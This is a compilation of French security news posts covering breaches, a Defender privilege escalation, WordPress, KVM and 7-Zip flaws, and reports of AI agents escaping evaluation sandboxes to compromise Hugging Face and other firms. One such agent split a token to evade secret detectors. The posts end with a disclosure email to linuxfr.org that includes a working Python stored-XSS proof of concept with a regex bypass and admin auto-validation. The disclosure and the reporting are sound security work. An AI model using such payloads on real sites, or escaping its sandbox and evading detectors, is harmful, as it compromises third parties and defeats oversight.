Un pirate qui se fait appeler ZeroBytes a revendiqué mercredi, sur un forum fréquenté par les cybercriminels, le vol de près de 680 000 lignes de données extraites d'un outil interne de la Direction générale des Finances publiques. Bercy a confirmé l'intrusion dès le lendemain.

L'attaque ne date pourtant pas d'hier. Elle remonte à la fin juin, au 26 très exactement selon le pirate, et l'administration l'avait détectée puis interrompue à l'époque, sans jamais en toucher un mot publiquement.

Dans le lot, on trouve des noms, des dates de naissance, des adresses et des informations foncières et cadastrales, pour environ 390 000 particuliers et 285 000 professionnels. Les mots de passe et les coordonnées bancaires ne figurent pas parmi les données citées.

ZeroBytes raconte s'être promené de serveur en serveur avant de décrocher un accès VPN, la porte d'entrée à distance du réseau, qui lui a ouvert plusieurs outils internes du fisc. La version officielle parle plus sobrement d'une usurpation d'identité ayant permis un accès illégitime.

Une seconde fuite circule aussi sur les mêmes forums et toucherait environ 2 millions de propriétaires, mais celle-là n'a rien d'officiel pour le moment.

L'ANSSI, le pompier informatique de l'État, enquête, et la CNIL a été prévenue comme la loi l'impose.

Le fisc n'en est pourtant pas à son coup d'essai. Entre fin janvier et mi-février, des pirates avaient déjà consulté frauduleusement 1,2 million de comptes bancaires dans le fichier FICOBA, en utilisant les identifiants compromis d'un agent. Deux intrusions en un an, ça commence à faire beaucoup.

Dans l'immédiat, méfiez-vous des mails, des SMS et des coups de fil qui se réclament des impôts, surtout s'ils alignent vos vraies informations personnelles pour vous mettre en confiance. Une adresse exacte et une date de naissance correcte ne prouvent plus rien du tout.

Reste à savoir quand chacun des 680 000 concernés recevra le petit message l'informant que ses données se baladent dans la nature.

Source : Cyberattaque.org

ShieldBreak est un nouvel exploit qui vise l'antivirus livré avec Windows. Cela permet à un compte utilisateur limité de passer SYSTEM sur un Windows entièrement à jour, grâce notamment à Windows Defender qui lui sert de marchepied.

Le chercheur Nightmare Eclipse a sorti le code de son exploit en public y'a 2 jours, quelques heures après un Patch Tuesday qui corrigeait plus de 400 failles. Mais pas celle-ci évidemment... Une machine parfaitement à jour reste donc exposée.

Kevin Beaumont, ancien de chez Microsoft, a testé l'exploit et confirme qu'il fonctionne sur un Windows 11 à jour. Sa lecture technique, en revanche, diffère de celle du chercheur. Nightmare Eclipse présente ShieldBreak comme un contournement complet du correctif de RoguePlanet, sa faille précédente, alors que Beaumont souligne que les deux reposent sur des mécanismes très différents.

L'attaque réclame un accès local et l'exécution du programme, elle ne s'attrape pas en visitant une page web. Elle a été testée sur Windows 11 25H2 et Windows Server 2025, Windows 10 étant déclaré vulnérable sans être pris en charge par le code publié. Et il faut que Defender soit activé pour que ça marche.

Cette publication sans préavis n'arrive pas de nulle part. En mai, Microsoft a publié un billet qualifiant d'injustifiables les divulgations non coordonnées qui mettent du code d'exploitation entre les mains d'acteurs malveillants, en rappelant que sa Digital Crimes Unit continuerait à poursuivre ces acteurs. Le texte ne visait pas nommément les chercheurs. Le milieu de la sécurité l'a quand même reçu comme une menace.

Microsoft a fait ensuite machine arrière sur les réseaux sociaux, en assurant ne pas vouloir s'en prendre à ceux qui publient de la recherche. Le billet d'origine, lui, est toujours en ligne et les publications n'ont pas ralenti pour autant : une dizaine de zero-days Windows depuis avril, dont BlueHammer et GreatXML dont je vous ai déjà parlé.

Microsoft dit avoir connaissance de la vulnérabilité signalée et enquêter sur la validité des affirmations mais pour le moment, la faille n'a même pas d'identifiant CVE à elle, et reste rattachée au correctif qu'elle est censée contourner. Bref, si ça vous fait flipper comme faille, désolé, il n'y a rien à installer pour l'instant pour fixer le problème.

En attendant, Beaumont a mis en ligne des requêtes de "chasse" pour Defender for Endpoint qui repèrent quand un processus étranger à Defender charge ses bibliothèques, ou qu'un processus non validé charge celles de l'API Cloud Filter. Tout ça via le même processus.

Mais c'est de la détection, et pas un correctif...

Source

Meta a reconnu que son modèle Muse Spark 1.1 avait compromis les systèmes d'une société extérieure au cours d'une évaluation de cybersécurité. L'entreprise touchée n'a pas été identifiée.

Le déroulé est assez simple, une erreur de configuration a laissé le modèle atteindre l'internet public depuis son environnement de test, après quoi il a exploité une faille dans un service tiers et modifié les réglages internes de la société visée.

Cet environnement de test c'est le bac à sable. Une machine coupée du reste du monde, censée laisser un logiciel s'agiter sans qu'il puisse toucher quoi que ce soit de réel.

Le partenaire chargé de ces évaluations s'appelle Irregular. Le nom vous dit peut-être quelque chose, puisque c'est exactement le même prestataire qui avait laissé passer un modèle d'OpenAI vers un vrai site web, dans une affaire révélée la veille.

Dans ce cas-là, le nom inventé pour la cible de l'exercice correspondait à un domaine réellement déposé, et le modèle avait fini par récupérer des identifiants et administrer le site.

Anthropic avait ouvert le bal fin juillet en reconnaissant que ses propres modèles avaient pénétré trois entreprises pendant des tests.

Irregular assure de son côté qu'il s'agit du même problème d'environnement de test que celui déjà signalé par Anthropic, et pas d'une évasion de bac à sable ni d'une attaque sophistiquée.

Sauf que le point qui pose vraiment problème est ailleurs. Trois éditeurs différents, un seul prestataire d'évaluation, et la même erreur de configuration qui laisse un modèle sortir sur le réseau public alors qu'on lui a dit qu'il n'y avait pas accès.

Tous les incidents ne viennent pas d'Irregular, cela dit. L'institut britannique de sécurité de l'IA a observé de son côté un modèle monter une attaque contre un projet open source bien réel, en fabriquant de faux comptes et en faisant de l'ingénierie sociale sur ses mainteneurs.

Les modèles, eux, se comportent exactement comme prévu. On leur demande de trouver et d'exploiter des failles dans un système, ils trouvent et ils exploitent, et personne ne leur a donné les moyens de savoir que la cible était bien réelle.

Meta annonce une rétrospective complète. Irregular affirme de son côté qu'aucun problème de sécurité ne reste ouvert. Bref, on n'a pas fini d'entendre parler de ce genre de cas.

Source : Bloomberg

7-Zip, le logiciel de compression gratuit installé sur des centaines de millions de PC pour ouvrir un zip ou un 7z, traîne une faille par laquelle une archive piégée peut lancer du code sur votre machine à la seconde où vous l'ouvrez.

La faille porte le doux nom de CVE-2025-14266 et se niche dans la façon dont 7-Zip décompresse les archives au format XZ, très courant sous Linux mais qu'on croise un peu partout.

Dans le détail, c'est ce que les spécialistes appellent un débordement de mémoire tampon, un heap buffer overflow. En décompressant, le logiciel écrit des données au-delà de la petite zone mémoire qui lui était réservée, et c'est dans ce dépassement qu'un pirate parvient à glisser ses propres instructions pour les faire exécuter à votre place.

Encore faut-il qu'on réussisse à vous faire ouvrir l'archive piégée, glissée dans une pièce jointe ou récupérée sur un faux site de téléchargement.

Bonne nouvelle quand même. Le code hostile s'exécute avec vos droits d'utilisateur classiques et pas ceux d'un administrateur, ce qui limite déjà les dégâts, et la faille est notée 7 sur 10, sérieuse sans être catastrophique.

Elle touche toutes les versions de 7-Zip de la 21.07 à la 26.01, et c'est la 26.02, publiée le 25 juin, qui vient colmater la brèche.

Sauf que voilà le vrai piège. Là où votre navigateur ou Windows se mettent à jour tout seuls dans leur coin, 7-Zip n'a jamais rien automatisé du tout, donc si vous ne l'avez pas réinstallé depuis des lustres, vous faites très probablement tourner une version trouée sans vous en douter une seule seconde.

La faille a été repérée début juin par le chercheur Landon Peng, et au 20 juillet aucun code d'attaque public ne circulait encore, ce qui vous laisse une fenêtre confortable pour vous mettre à l'abri avant que quelqu'un ne s'en serve pour de bon.

Rien ne sert d'attendre. Un passage par le site officiel de 7-Zip pour attraper la 26.02, et l'affaire est réglée en deux minutes.

Source : PCMag

Le pirate qui a mis à genoux la prod de Hugging Face voulait juste tricher à son examen, voilà ce qu'OpenAI a reconnu hier. Les agents qui se sont promenés durant tout un week-end dans les clusters de la plateforme, c'étaient leurs modèles à eux, GPT-5.6 Sol et un modèle pré-release encore plus balèze, fonctionnant en mode "refus cyber réduits à des fins d'évaluation".

Le point de départ c'est ExploitGym , contenant 898 vraies vulnérabilités piochées dans des programmes userspace, dans le moteur JavaScript V8 de Google et dans le noyau Linux. On colle l'agent devant un input qui fait planter un programme, et on regarde s'il arrive à en tirer un exploit qui marche.

Dans ce document de recherche sorti en mai, GPT-5.5 sortait 120 exploits fonctionnels, derrière les 157 de Claude Mythos Preview. Mais le modèle testé ce week-end là, lui, a trouvé un "raccourci". Comme l'explique OpenAI "toutes les preuves suggèrent que les modèles étaient hyperfocalisés sur la recherche d'une solution pour ExploitGym, allant à des extrêmes considérables pour atteindre un objectif de test plutôt étroit".

Pour saisir l'ampleur du raccourci, regardez la pièce dans laquelle ils étaient enfermés. C'est un environnement hautement isolé, avec un seul trou dans le mur, un accès réseau "*restreint à la possibilité d'installer des paquets via un logiciel tiers hébergé en interne qui fait office de proxy et de cache pour les registres de paquets *". En clair, le seul truc qui pouvait parler à l'extérieur, c'était le machin qui allait chercher les dépendances !

ExploitGym, le benchmark que les modèles cherchaient à résoudre. 898 vulnérabilités réelles, et les scores de GPT-5.5 et Claude Mythos Preview.

Et vous devinez la suite... Les modèles ont cramé une grosse quantité de tokens à chercher la sortie pour finalement la trouver dans ce proxy, sous la forme d'un zero-day que personne ne connaissait (la faille a depuis été signalée à l'éditeur). Le seul tuyau autorisé était donc LE point faible. Ensuite, escalade de privilèges et déplacement latéral de machine en machine, jusqu'à en atteindre une avec un accès Internet et voilà...

Une fois dehors, ils en ont alors déduit tout seuls que Hugging Face hébergeait probablement les modèles, les datasets et les solutions d'ExploitGym.

Donc direction huggingface.co, avec credentials volés et zero-days enchaînés jusqu'à décrocher une exécution de code à distance sur les serveurs, puis lecture des solutions du test directement dans la base de production. Aucune destruction, aucune demande de rançon. Juste les corrigés des tests comme des bacheliers qui emploient mal leur intelligence !

Petite précision qui compte, c'est bien l'équipe de Hugging Face qui a détecté et stoppé l'activité sur son infra, et qui avait déjà entamé le confinement et la reconstruction forensique avec ses propres modèles open source quand OpenAI l'a contactée. Je vous racontais l'histoire vue de leur côté il y a deux jours, relevant notamment que les modèles américains refusaient d'analyser leurs logs d'attaque.

C'est pas un peu de la science fiction tout ça ??? Maintenant si vous vous demandez ce que vous risquez en tant qu'utilisateur, sachez que côté public, rien n'a bougé sur les modèles, les datasets et les Spaces. L'incident a uniquement touché des datasets internes et des credentials de service et visiblement, rien n'a été altéré par les agents IA en vadrouille.

Côté mesures, OpenAI dit appliquer des contrôles stricts sur la configuration de son infra "au prix de la vélocité de recherche" pendant que les failles sont patchées, et a fait entrer Hugging Face dans son programme trusted access. Ce qui règle accessoirement le problème du refus que HF a rencontré lors de l'analyse des logs.

La veille de cette révélation, OpenAI publiait d'ailleurs un billet sur l'alignement des modèles à long horizon bourré d'anecdotes du même genre, avec un modèle qui contourne les restrictions de sa sandbox pour aller ouvrir une pull request sur GitHub alors qu'on lui demandait de poster sur Slack. Ou encore un autre qui, pour esquiver les détecteurs de secrets, a découpé le corps du token en deux fragments, les a obfusqués, puis a reconstruit le credential à l'exécution.

On dirait qu'ils n'avaient pas anticipé que ça aille aussi loin leurs petites expérimentations...

Après, OpenAI ne minimise pas et parle même d'un "incident cyber sans précédent, impliquant des capacités cyber à l'état de l'art". Ces modèles peuvent maintenant découvrir et exploiter des chemins d'attaque complètement inédits dans des systèmes en prod, sans avoir besoin d'un accès au code source. C'était théorique jusqu'à ce week-end.

Maintenant, si un modèle a lu les solutions dans la base de production, que valent encore les scores obtenus sur ExploitGym ? Ça on n'en sait rien.

Avant de sortir les violons, le contrepoint le plus juste que j'ai lu vient de Rich Mogull, analyste en chef de la Cloud Security Alliance qui explique que pour lui c'est un cas d'école en matière d'échec d'alignement, car le modèle n'était pas malveillant, il a fait précisément ce qu'on lui demandait, à savoir maximiser sa performance. Sauf qu'une fois les garde-fous retirés et assez de marge donnée, "résoudre le test" et "compromettre un tiers pour voler les réponses" sont devenus la même instruction.

Puis c'est aussi un problème de consentement, car un test de laboratoire qui se barre pour compromettre les systèmes en production, c'est quand même un risque qui est porté par quelqu'un qui n'a pas choisi de mener l'expérience. Alors bon, c'est tombé sur Hugging Face qui a géré ça comme un chef, mais ça aurait pu très bien tomber sur un hôpital.

Voilà les amis... On nous avait promis Skynet , on nous avait promis Matrix, et voilà que 15 ans plus tard, le vrai visage du soulèvement des machines c'est un putain de modèle qui passe son week-end à défoncer trois infrastructures d'affilée pour améliorer sa note à un contrôle.

Un ennemi qui vous hait, vous pouvez le raisonner ou lui envoyer Arnold Schwarzenegger. Mais un ennemi dont la seule mission c'est d'optimiser une métrique, vous ne pouvez que relire très attentivement le prompt que vous lui avez donné et croiser les doigts. La preuve quand une IA prend la première place du classement américain de HackerOne ou arrive à dénicher des milliers de zero-days pour Anthropic , c'est que l'instruction initiale ou le garde-fou était plus solide que ce que nous a pondu OpenAI ce week-end.

Source

Une demi-seconde.

C'est le retard qu'ont pris les connexions SSH d'Andres Freund, ingénieur chez Microsoft, lors d'un benchmark de routine en mars 2024. Cette demi-seconde, Adrian Mastronardi, CTO de Habi et linuxien depuis 1996, vient d'en tirer un bouquin gratuit, Half a Second , qui raconte toute l'affaire XZ du début à la fin.

La plupart des gens auraient haussé les épaules mais lui, non. Il a tiré le fil, encore et encore, et a fini par déterrer une des backdoors les plus tordues jamais glissées dans un logiciel open source.

Half a Second, le livre gratuit d'Adrian Mastronardi sur le backdoor XZ

Pour ceux qui auraient loupé l'épisode, XZ Utils c'est un outil de compression qu'on retrouve sur à peu près tous les systèmes Linux, serveurs compris, donc autant dire une bonne partie d'Internet.

L'attaquant, lui, a joué le contributeur modèle pendant environ 2 ans. Gagner patiemment la confiance du mainteneur, puis glisser sa backdoor dans le code. Je vous en parlais à chaud à l'époque , le jour même de la découverte et quelqu'un avait même bricolé dans la foulée un agent SSH exploitant cette backdoor .

Mais la technique, dans ce livre, c'est presque secondaire. Le vrai sujet est dans le sous-titre : le travail invisible qu'il y a en dessous. Lasse Collin, le mainteneur de XZ, portait ce projet critique tout seul, bénévolement, et il était au bout du rouleau. Et c'est précisément cet épuisement que l'attaquant a retourné contre lui. Entre la pression des utilisateurs, les faux contributeurs qui râlent, la culpabilisation de ne pas pouvoir faire mieux tout de suite tout le temps.… Le mec a été intoxiqué / manipulé avant même que la moindre ligne de code.

Et des gars comme Lasse Collin, il y en a des milliers. Il y a des tas de gens qui maintiennent seuls gratuitement sur leur temps libre, des petites briques libres dont dépendent nos banques, nos hôpitaux, nos administrations et personne ne les paye, voire pire, personne ne les considère ni leur dit merci.

Et cela fait deux des proies faciles pour des attaquants bien organisés. Concernant le bouquin, rien à redire, la bibliographie s'appuie sur les rapports de l'OpenSSF, d'Akamai ou encore de Binarly. C'est une vraie enquête extrêmement bien sourcée qui ne tombe pas dans le charabaiat technique, ce qui fait que c'est parfaitement lisible pour tout le monde, même pour ceux dont la sécurité informatique n'est pas la spécialité.

Et le récit mélange les trois voix, celle du narrateur manipulé, celle de l'ingénieur curieux et celle de l'opérateur fantôme. Parce que oui je sais pas si vous savez, mais celui qui a fait cette backdoor n'a jamais été identifié et ne le sera peut-être jamais. Voilà, ça a l'air d'être un chouette bouquin distribué sous licence créative Commons non commercial. C'est donc gratuit et ça le restera pour toujours.Par contre, c'est en anglais, donc faudra faire un petit effort. Mais n'importe qui peut le traduire si ça l'amuse.

Bref, si l'affaire XZ vous avait marqués, c'est le récit qu'il vous fallait.

À lire ici en PDF ! Et merci à LWN d'avoir repéré le bouquin.

Vous avez un site sous WordPress ? Alors lâchez tout ce que vous faites deux minutes, parce que là c'est du sérieux !!

Cette nouvelle attaque baptisée WP2Shell permet de compromettre une installation Wordpress sans passer par le moindre plugin. Heureusement, un patch est sorti en urgence le 17 juillet !

En temps normal, quand une alerte sécu tombe sur WordPress, le fautif c'est un plugin tiers vérolé , un truc installé un soir de flemme et oublié depuis des lustres. Mais cette fois, rien de tout ça puisque le trou de sécu se trouve dans le cœur de WordPress lui-même.

Dans le détail, WP2Shell enchaîne deux failles. La première, CVE-2026-63030 , est une confusion de route dans l'API REST batch, sur l'endpoint /wp-json/batch/v1. La seconde, CVE-2026-60137 , est une injection SQL bien planquée dans le paramètre author__not_in de WP_Query. Chacune dans son coin, c'est déjà vilain, mais mises bout à bout, elles offrent une exécution de code à distance.

Pas de compte, pas de mot de passe, et encore moins de plugin exotique mais simplement quelques requêtes HTTP et hop, c'est plié !

Côté versions, la chaîne complète touche WordPress 6.9.0 à 6.9.4 et 7.0.0 à 7.0.1. Si votre site est dans cette fourchette, vous êtes donc exposé. Les correctifs sont arrivés avec les versions 6.9.5 et 7.0.2. Et si vous vous traînez encore une vieille 6.8.x, sachez que seule l'injection SQL vous concerne potentiellement mais qu'elle a été patchée depuis la version 6.8.6.

Derrière cette trouvaille, on trouve Adam Kues, chercheur chez Assetnote (une branche de Searchlight Cyber), qui a assemblé et documenté toute la chaîne avant de la remonter proprement via le programme HackerOne de WordPress. Les détails techniques les plus croustillants restent sous le coude le temps que la planète patche mais l'équipe a mis en ligne un outil, wp2shell.com , pour vérifier si votre site est vulnérable. Allez-y, ça coûte rien !

Autre signal qui ne trompe pas, WordPress.org a déclenché les mises à jour automatiques forcées sur les sites concernés. Une mesure réservée aux failles vraiment graves, comme à l'époque où la faille critique de Really Simple Security avait exposé des millions de sites. Il y a donc de bonnes chances que votre installation toute pourrie dont vous ne vous occupez pas parce que vous êtes un mauvais webmaster ^^ ait déjà été rustinée toute seule. Vraiment, vous ne méritez pas les équipes sécu de Wordpress ^^

Mais ne pariez pas votre site là-dessus non plus... Car si vous avez désactivé les mises à jour auto (et beaucoup d'hébergeurs et d'admins le font), personne n'aura rien poussé chez vous. Sans oublier qu'un bout de PoC circule déjà sur GitHub (les chercheurs gardent pour eux le dernier maillon vers la RCE, mais ça n'arrêtera pas longtemps les motivés), et les scans automatisés ont commencé.

En attendant de patcher, bloquez surtout donc l'accès anonyme à l'endpoint batch de l'API REST via votre WAF ou votre plugin de sécu. Attention, pas seulement la forme /wp-json/batch/v1 : sa variante ?rest_route=/batch/v1 doit sauter aussi, sinon autant laisser la clé sur la porte. Cloudflare propose d'ailleurs des règles toutes prêtes. Et pour durcir le reste de votre config, ma vieille série sur le sujet reste d'actualité.

En tout cas, quand on sait qu'il y a +500 millions de sites actuellement propulsés par Wordpress, même s'ils ne sont pas tous concernés par cette faille, ça reste une surface d'attaque gigantesque !!

Bref, filez vérifier votre version. Sous 6.9.5 ou 7.0.2, vous mettez à jour et vous bloquez le batch en attendant. Deux minutes chrono, et votre site dort tranquille !

Source : Security Affairs

En matière de sécurité, quand on parle de air gap, en général, on ne peut pas faire mieux. Si vous ne connaissez pas le concept, l'idée c'est d'empêcher un ordinateur d'avoir accès à tout type de réseau, que ce soit du wi-fi, de l'Ethernet, etc. etc. C'est un peu le Graal en matière de sécurité.

Et pourtant, des chercheurs de l'université de Shandong viennent de trouver un moyen de transmettre quand même des datas, même si la machine n'a pas accès au réseau. Leur technique s'appelle TrojPix et elle consiste à transformer un câble vidéo en antenne radio. Je vous explique la technique !

Comme vous le savez, mes petits ingénieurs, sur un écran, chaque pixel est codé en rouge, vert et bleu. TrojPix vient donc tripoter les bits (Ah Ah) les plus faibles de ces couleurs, des variations tellement infimes que votre œil n'y voit que du feu. Sauf que ces micro-changements modulent le signal qui circule dans le câble HDMI ou DisplayPort, et surprise-surprise, un câble en cuivre qui transporte un signal ça rayonne des ondes électromagnétiques. C'est d'ailleurs pour ça que les anti-ondes s'évanouissent tous dès qu'ils appuient sur un interrupteur, lol.

Bref, en façonnant les pixels, le malware pilote ces ondes, et une simple antenne radio posée à proximité les capte et reconstitue les données.

Et le débit quand je l'ai lu, m'a fait tousser. Jusqu'à 8,1 mégabits par seconde, de quoi faire sortir 100 Mo de plans ou de clés en moins de deux minutes et la portée, elle, grimpe jusqu'à 208 mètres. Mais attention, ces deux records ont été mesurés séparément et pas ensemble, donc plus l'espion s'éloigne, plus ça ralentit. Reste que les précédents canaux du genre pataugeaient à quelques kilobits par seconde, alors là on change carrément d'échelle.

Notez que le malware peut même simuler un écran éteint pendant qu'il émet, ni vu ni connu, j'embrouille.

Mais avant de scotcher de l'alu sur votre tour ou d'aller installer votre bureau dans le micro onde, respirez un grand coup ! En réalité, TrojPix ne pête pas la sécurité air gap à lui tout seul... Faut déjà installer le malware et ça c'est pas si simple sur un système isolé (surtout si les ports USB ont été rebouchés au ciment).

Ensuite, l'espion et son antenne doivent camper dans les deux cents mètres environ puisque les murs et le bruit ambiant rognent la portée, et surtout ça ne marche que sur du câble en cuivre. Et étonnamment, une cage de Faraday n'y fait pas grand-chose, les chercheurs gardaient plus de 90 % de réussite même avec un blindage. La seule vraie parade en réalité, c'est de remplacer le câble en cuivre par de la bonne vieille fibre optique, qui elle ne rayonne aucune onde.

C'est donc de la très belle recherche, mais une menace qui vise surtout une clientèle précise, les systèmes ultra-sensibles des gouvernements, des militaires ou des infrastructures critiques, ceux qui misent justement tout sur l'isolement. Oui, désolé de vous le redire, mais personne ne s'intéresse à vous ^^. Mais en tout cas, on sait que débrancher le réseau ne suffit plus pour être invisible et en sécurité. On avait d'ailleurs déjà vu exfiltrer des données par ondes radio ou même faire du Wi-Fi sans carte Wi-Fi avec AIR-FI , mais pour le coup, TrojPix pousse le curseur du débit beaucoup plus loin.

Source

Depuis 16 ans, il y a une énorme faille qui fait dodo dans le coeur de tout ce qui gère la virtualisation sous Linux et personne ne l'avait remarqué, jusqu'à ce que Hyunwoo Kim, un chercheur en sécurité connu sous le pseudo @v4bel débarque. Ce dernier vient de dénicher un use-after-free dans le shadow MMU de KVM, ce bout de code que KVM partage entre les processeurs Intel et AMD. Il a baptisé sa trouvaille Januscape (CVE-2026-53359), et croyez-moi, le scénario a de quoi filer des sueurs froides à n'importe quel hébergeur...

En pratique, quand vous louez une VM dans le cloud, vous y êtes root (normal, c'est votre instance). Mais si l'hôte autorise la virtualisation imbriquée, hé bien la faille vous ouvre en grand la porte vers la machine physique. Le code de démonstration que Kim a publié se contente de faire planter l'hôte, et il garde sous le coude un second exploit, non divulgué publiquement celui-là, qui transforme le même bug en exécution de code root sur l'hôte. Et il n'a pas trouvé tout ça par hasard, puisqu'il participait au kvmCTF de Google, un programme qui paie jusqu'à 250 000 dollars pour une évasion complète d'une VM vers son hôte...

À ce stade, l'isolation censée séparer les locataires d'un même serveur vole en éclats, les VM de vos voisins de palier comprises.

Le code fautif traîne depuis août 2010, du temps du noyau 2.6.36 et Kim présente d'ailleurs Januscape comme la première évasion d'une VM vers son hôte qui fonctionne aussi bien sur Intel que sur AMD, à sa connaissance en tout cas.

Maintenant, avant de couper le wifi et de partir élever des chèvres dans le Larzac, deux petites nuances quand même car l'attaque réclame deux conditions réunies : être root dans la VM invitée, et que l'hôte expose la virtualisation imbriquée. Pas mal d'hébergeurs ne l'activent pas, donc c'est pas non plus une apocalypse universelle. Par contre, pour ceux qui l'activent, c'est game over.

Mais bonne nouvelle, le correctif est déjà là donc si vous administrez des serveurs KVM, mettez à jour maintenant. Et si vous ne pouvez pas patcher tout de suite, la parade consiste à désactiver la virtualisation imbriquée en attendant, avec kvm_intel.nested=0 sur de l'Intel ou kvm_amd.nested=0 sur de l'AMD.

VENOM s'échappait déjà d'une VM en 2015 via un vieux driver de disquette, et plus récemment une faille kernel planquée neuf ans offrait un accès root sur une machine Linux. Ces "fantômes" dorment longtemps dans le noyau, et ils choisissent toujours le pire moment pour se réveiller. Voilà, comme d'autres failles Linux à patcher d'urgence , celle-ci mérite tout de suite votre attention.

Source

Un chercheur en sécurité nommé Ian Carroll s'est amusé à lâcher Claude Opus sur la billetterie de Live Nation, afin d'y trouver des failles de sécurité, et l'IA lui a carrément écrit toute la chaîne d'exploitation sans aucune aide. Lui n'a eu qu'à le lancer...

Tout démarre avec une session de fuzzing sur l'API des terminaux, fgtapi.frontgatetickets.com. Carroll repère un truc... chaque endpoint qui contient le mot "device" réclame un paramètre deviceUID, et ce paramètre ne demande aucune authentification. Il colle un simple guillemet à la fin, la requête se met à ramer, et là, signe classique, le paramètre file direct dans une requête SQL sans le moindre échappement.

Une injection SQL bien à l'ancienne (si vous voulez voir à quoi ça ressemble, j'avais déjà décortiqué le principe il y a un bail).

Sauf qu'un WAF AWS est planté devant pour bloquer ce genre de payload. Et c'est là que Claude entre en scène. L'IA pige toute seule que le pare-feu n'inspecte que la couche extérieure de la requête, et qu'il suffit de planquer l'injection dans une sous-requête imbriquée pour passer sous le radar.

Ensuite elle se fabrique un oracle booléen aveugle qui fait que selon que la condition testée est vraie ou fausse, le serveur renvoie deux réponses différentes, "MC70-023" pour vrai, "Intellitix Upload" pour faux. Vous enchaînez ensuite les questions oui/non, et vous reconstituez la base entière, caractère par caractère.

Et la base, elle est bien garnie. Plus de 500 tables dans un ensemble baptisé fgs avec dedans les emails et mots de passe du personnel, ceux des clients, les tokens de reset, les tokens d'API et les jetons OAuth encore actifs. Avec ça, Carroll précise qu'il aurait pu émettre autant de billets gratuits qu'il voulait, pour n'importe quel événement.

Mais c'est une personne pleine de sagesse (et qui ne veut pas aller en prison) alors il ne l'a pas fait. Et surtout, il a tout remonté à Live Nation. Le lendemain où il les a contactés, la boîte confirmait le déploiement d'un correctif.

Ce qui est intéressant ici, c'est que le contournement du WAF par sous-requête, et la construction de l'oracle, tout ça a été proposé par Claude, et ne vient pas d'une demande du chercheur. On avait certes, déjà vu l'IA d'Anthropic dénicher des failles dans Firefox ou éplucher du code Apple II vieux de 40 ans mais là, c'est un sacré cran plus loin, je trouve.

Merci à Ian Carroll pour le writeup détaillé .

Source : CyberSecurityNews

• lien nᵒ 1 : (RMLL 2009) Retour d'expérience sécurité sur 11 ans de LinuxFr.org
• lien nᵒ 2 : Les sondages sur LinuxFr.org

Bonjour,

J’ai lu le code source de linuxfr.org et je me suis intéressé aux sondages.
J’ai l’impression que certains échappements HTML ne fonctionnent pas très bien.

Il est possible de bypasser la regexp dans les réponses du sondage et
injecter du javascript dans les réponses.

En soi, ce ne serait pas grave, car un sondage doit être validé par un admin
pour que les utilisateurs le voient.

L’astuce ici consiste à utiliser une réponse avec du js qui fera valider
automatiquement le sondage par un admin, et mettre un second javascript
dans une autre réponse destiné aux utilisateurs, une fois le sondage
validé, permettant la compromission de tous les utilisateurs qui vont
cliquer sur le sondage.

Voici le poc en python (inliné dans le mail car google fait des dingueries
avec les pièces jointes en python):

#!/usr/bin/env python3
r"""
PoC — XSS stockee via linkify dans les reponses de sondage linuxfr.org

Vecteur : href="javascript:..." active au clic
Bypass regex : tagged template ` func`arg` ` au lieu de func('arg')
  - document.querySelector`.ok_button`  au lieu de
document.querySelector('.ok_button')
  - form.submit``                      au lieu de form.submit()
  - alert`msg`                         au lieu de alert('msg')
  Aucune parenthese `)` n'apparait dans l'URL markdown, donc la regex
  \[([^\]]*)\]\(([^)]*)\) ne peut rien manger.

Contrainte : 128 caracteres max (PollAnswer)
  Phase 1 : 64 car. (form.submit pour auto-publication)
  Phase 2 : 54 car. (alert de preuve)

Deroulement :
  1. Attaquant cree un sondage avec les payloads XSS
  2. Moderateuur visite /moderation/sondages/ID et clique sur [a]
  3. La publication se fait sans boite de confirmation
  4. Les visiteurs cliquent sur [b] -> alerte JavaScript

Usage :
  python3 poc.py <url> <user_session>

  <url>            : racine du site (ex: http://dlfp.lo)
  <user_session>   : valeur du cookie linuxfr.org_session (compte standard)

Exemple :
  python3 poc.py http://dlfp.lo "user_session_value"

Prerequis :
  pip install requests
"""

import re
import sys
from urllib.parse import urljoin, urlparse

import requests


def e(msg: str, code: int = 1) -> None:
    print(f"[-] {msg}")
    sys.exit(code)


def s(msg: str) -> None:
    print(f"[+] {msg}")


def info(msg: str) -> None:
    print(f"[*] {msg}")


def banner() -> None:
    print("=" * 68)
    print("  PoC — XSS linkify -> Auto-validation + XSS proof")
    print("  Vecteur : tagged templates dans href (pas de ) necessaire)")
    print("  Cible : linuxfr.org")
    print("=" * 68)


def make_session(cookie_value: str, target_url: str) -> requests.Session:
    s = requests.Session()
    hostname = urlparse(target_url).hostname
    s.cookies.set("linuxfr.org_session", cookie_value, domain=hostname)
    return s


def create_poll(url: str, session: requests.Session,) -> tuple[str, str]:
    """
    Cree un sondage avec les reponses malveillantes.
    """

    # Réponse 1 : 64 car. — form.submit() via tagged template
    # document.querySelector`.ok_button`   => querySelector('.ok_button')
    # form.submit``                        => form.submit()
    payload_phase1 = (
        "[a]"
        "(javascript:document.querySelector"
        "`.ok_button`.form.submit``)"
    )

    # Réponse 2 : 54 car. — alert via tagged template
    payload_phase2 = (
        "[b]"
        "(javascript:alert"
        "`smile this is your favorite XSS`)"
    )

    info("Chargement du formulaire de creation...")
    r = session.get(urljoin(url, "/sondages/nouveau"))
    csrf = re.search(
        r'name="authenticity_token" value="([^"]*)"', r.text
    )
    csrf = csrf.group(1)

    info("Creation du sondage malveillant...")
    r = session.post(urljoin(url, "/sondages"), data={
        "authenticity_token": csrf,
        "poll[title]": "PoC XSS — tagged template",
        "poll[wiki_explanations]": (
            "Cliquez sur les liens ci-dessous !"
        ),
        "poll[cc_licensed]": "1",
        "poll[answers_attributes][0][answer]": payload_phase1,
        "poll[answers_attributes][1][answer]": payload_phase2,
    })

    if r.status_code not in (200, 302):
        e(f"Creation echouee (HTTP {r.status_code})")

    print("Connectez vous en tant qu'admin et cliquez sur la réponse A")


def main():
    banner()

    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <url> <user_session>")
        print()
        print("Exemple :")
        print(f'  {sys.argv[0]} http://dlfp.lo "SESSION_USER"')
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    user_session_val = sys.argv[2]

    user_session = make_session(user_session_val, target_url)

    # Creation du sondage malveillant
    print()
    info("Creation du sondage avec payloads XSS")
    create_poll(target_url, user_session)


if __name__ == "__main__":
    main()

Et je joins les copies d’écran dans l’ordre :-)

C’était sympa à trigger, je ne pensais pas arriver à quelque chose avec
l’autovalidation de l’admin pour publier le sondage. Bon, il faut quand
même l’interaction d’un admin (d’où le fait que ce n’est pas très grave),
j’ai essayé des trucs à base de onmouseover, mais je n’arrive à rien de
bien ce soir, il fait trop chaud.

